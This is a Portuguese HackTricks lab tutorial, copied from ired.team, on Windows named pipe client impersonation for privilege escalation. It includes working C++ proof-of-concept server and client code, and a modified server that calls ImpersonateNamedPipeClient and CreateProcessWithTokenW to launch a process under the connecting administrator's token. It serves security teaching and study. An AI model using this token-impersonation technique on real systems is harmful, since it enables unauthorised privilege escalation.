hacktricks/windows-hardening/windows-local-privilege-escalation/named-pipe-client-impersonation.md

8.1 KiB

Impersonação de Cliente de Named Pipe

Impersonação de Cliente de Named Pipe

Aprenda hacking no AWS do zero ao herói com htARTE (HackTricks AWS Red Team Expert)!

Outras formas de apoiar o HackTricks:

Esta informação foi copiada de https://ired.team/offensive-security/privilege-escalation/windows-namedpipes-privilege-escalation

Visão Geral

Um pipe é um bloco de memória compartilhada que processos podem usar para comunicação e troca de dados.

Named Pipes é um mecanismo do Windows que permite que dois processos não relacionados troquem dados entre si, mesmo que os processos estejam localizados em duas redes diferentes. É muito semelhante à arquitetura cliente/servidor, pois existem noções como um servidor de named pipe e um cliente de named pipe.

Um servidor de named pipe pode abrir um named pipe com algum nome predefinido e então um cliente de named pipe pode se conectar a esse pipe através do nome conhecido. Uma vez que a conexão é estabelecida, a troca de dados pode começar.

Este laboratório está preocupado com um código PoC simples que permite:

  • criar um servidor de named pipe simples e de um único thread que aceitará uma conexão de cliente
  • servidor de named pipe para escrever uma mensagem simples no named pipe para que o cliente de pipe possa lê-la

Código

Abaixo está o PoC para o servidor e o cliente:

{% tabs %} {% tab title="namedPipeServer.cpp" %}

#include "pch.h"
#include <Windows.h>
#include <iostream>

int main() {
LPCWSTR pipeName = L"\\\\.\\pipe\\mantvydas-first-pipe";
LPVOID pipeBuffer = NULL;
HANDLE serverPipe;
DWORD readBytes = 0;
DWORD readBuffer = 0;
int err = 0;
BOOL isPipeConnected;
BOOL isPipeOpen;
wchar_t message[] = L"HELL";
DWORD messageLenght = lstrlen(message) * 2;
DWORD bytesWritten = 0;

std::wcout << "Creating named pipe " << pipeName << std::endl;
serverPipe = CreateNamedPipe(pipeName, PIPE_ACCESS_DUPLEX, PIPE_TYPE_MESSAGE, 1, 2048, 2048, 0, NULL);

isPipeConnected = ConnectNamedPipe(serverPipe, NULL);
if (isPipeConnected) {
std::wcout << "Incoming connection to " << pipeName << std::endl;
}

std::wcout << "Sending message: " << message << std::endl;
WriteFile(serverPipe, message, messageLenght, &bytesWritten, NULL);

return 0;
}

{% endtab %}

{% tab title="namedPipeClient.cpp" %}

#include "pch.h"
#include <iostream>
#include <Windows.h>

const int MESSAGE_SIZE = 512;

int main()
{
LPCWSTR pipeName = L"\\\\10.0.0.7\\pipe\\mantvydas-first-pipe";
HANDLE clientPipe = NULL;
BOOL isPipeRead = true;
wchar_t message[MESSAGE_SIZE] = { 0 };
DWORD bytesRead = 0;

std::wcout << "Connecting to " << pipeName << std::endl;
clientPipe = CreateFile(pipeName, GENERIC_READ | GENERIC_WRITE, 0, NULL, OPEN_EXISTING, 0, NULL);

while (isPipeRead) {
isPipeRead = ReadFile(clientPipe, &message, MESSAGE_SIZE, &bytesRead, NULL);
std::wcout << "Received message: " << message;
}

return 0;
}

{% endtab %} {% endtabs %}

Execução

Abaixo mostra o servidor de pipe nomeado e o cliente de pipe nomeado funcionando conforme esperado:

Vale notar que a comunicação de pipes nomeados por padrão usa o protocolo SMB:

Verificando como o processo mantém um handle para nosso pipe nomeado mantvydas-first-pipe:

Da mesma forma, podemos ver o cliente com um handle aberto para o pipe nomeado:

Podemos até ver nosso pipe com powershell:

((Get-ChildItem \\.\pipe\).name)[-1..-5]
## Impersonação de Token

{% hint style="info" %}
Observe que, para realizar a impersonação do token do processo cliente, você precisa ter (o processo do servidor que cria o pipe) o privilégio de token **`SeImpersonate`**.
{% endhint %}

É possível para o servidor de pipe nomeado impersonar o contexto de segurança do cliente de pipe nomeado ao utilizar a chamada de API `ImpersonateNamedPipeClient`, que por sua vez altera o token da thread atual do servidor de pipe nomeado com o token do cliente de pipe nomeado.

Podemos atualizar o código do servidor de pipe nomeado assim para alcançar a impersonação - observe que as modificações estão visíveis na linha 25 e abaixo:
int main() {
LPCWSTR pipeName = L"\\\\.\\pipe\\mantvydas-first-pipe";
LPVOID pipeBuffer = NULL;
HANDLE serverPipe;
DWORD readBytes = 0;
DWORD readBuffer = 0;
int err = 0;
BOOL isPipeConnected;
BOOL isPipeOpen;
wchar_t message[] = L"HELL";
DWORD messageLenght = lstrlen(message) * 2;
DWORD bytesWritten = 0;

std::wcout << "Creating named pipe " << pipeName << std::endl;
serverPipe = CreateNamedPipe(pipeName, PIPE_ACCESS_DUPLEX, PIPE_TYPE_MESSAGE, 1, 2048, 2048, 0, NULL);

isPipeConnected = ConnectNamedPipe(serverPipe, NULL);
if (isPipeConnected) {
std::wcout << "Incoming connection to " << pipeName << std::endl;
}

std::wcout << "Sending message: " << message << std::endl;
WriteFile(serverPipe, message, messageLenght, &bytesWritten, NULL);

std::wcout << "Impersonating the client..." << std::endl;
ImpersonateNamedPipeClient(serverPipe);
err = GetLastError();

STARTUPINFO	si = {};
wchar_t command[] = L"C:\\Windows\\system32\\notepad.exe";
PROCESS_INFORMATION pi = {};
HANDLE threadToken = GetCurrentThreadToken();
CreateProcessWithTokenW(threadToken, LOGON_WITH_PROFILE, command, NULL, CREATE_NEW_CONSOLE, NULL, NULL, &si, &pi);

return 0;
}

Executando o servidor e conectando-se a ele com o cliente que está executando sob o contexto de segurança administrator@offense.local, podemos ver que a thread principal do servidor de pipe nomeado assumiu o token do cliente de pipe nomeado - offense\administrator, embora o PipeServer.exe em si esteja executando sob o contexto de segurança ws01\mantvydas. Parece uma boa maneira de escalar privilégios?

Aprenda hacking no AWS do zero ao herói com htARTE (HackTricks AWS Red Team Expert)!

Outras maneiras de apoiar o HackTricks: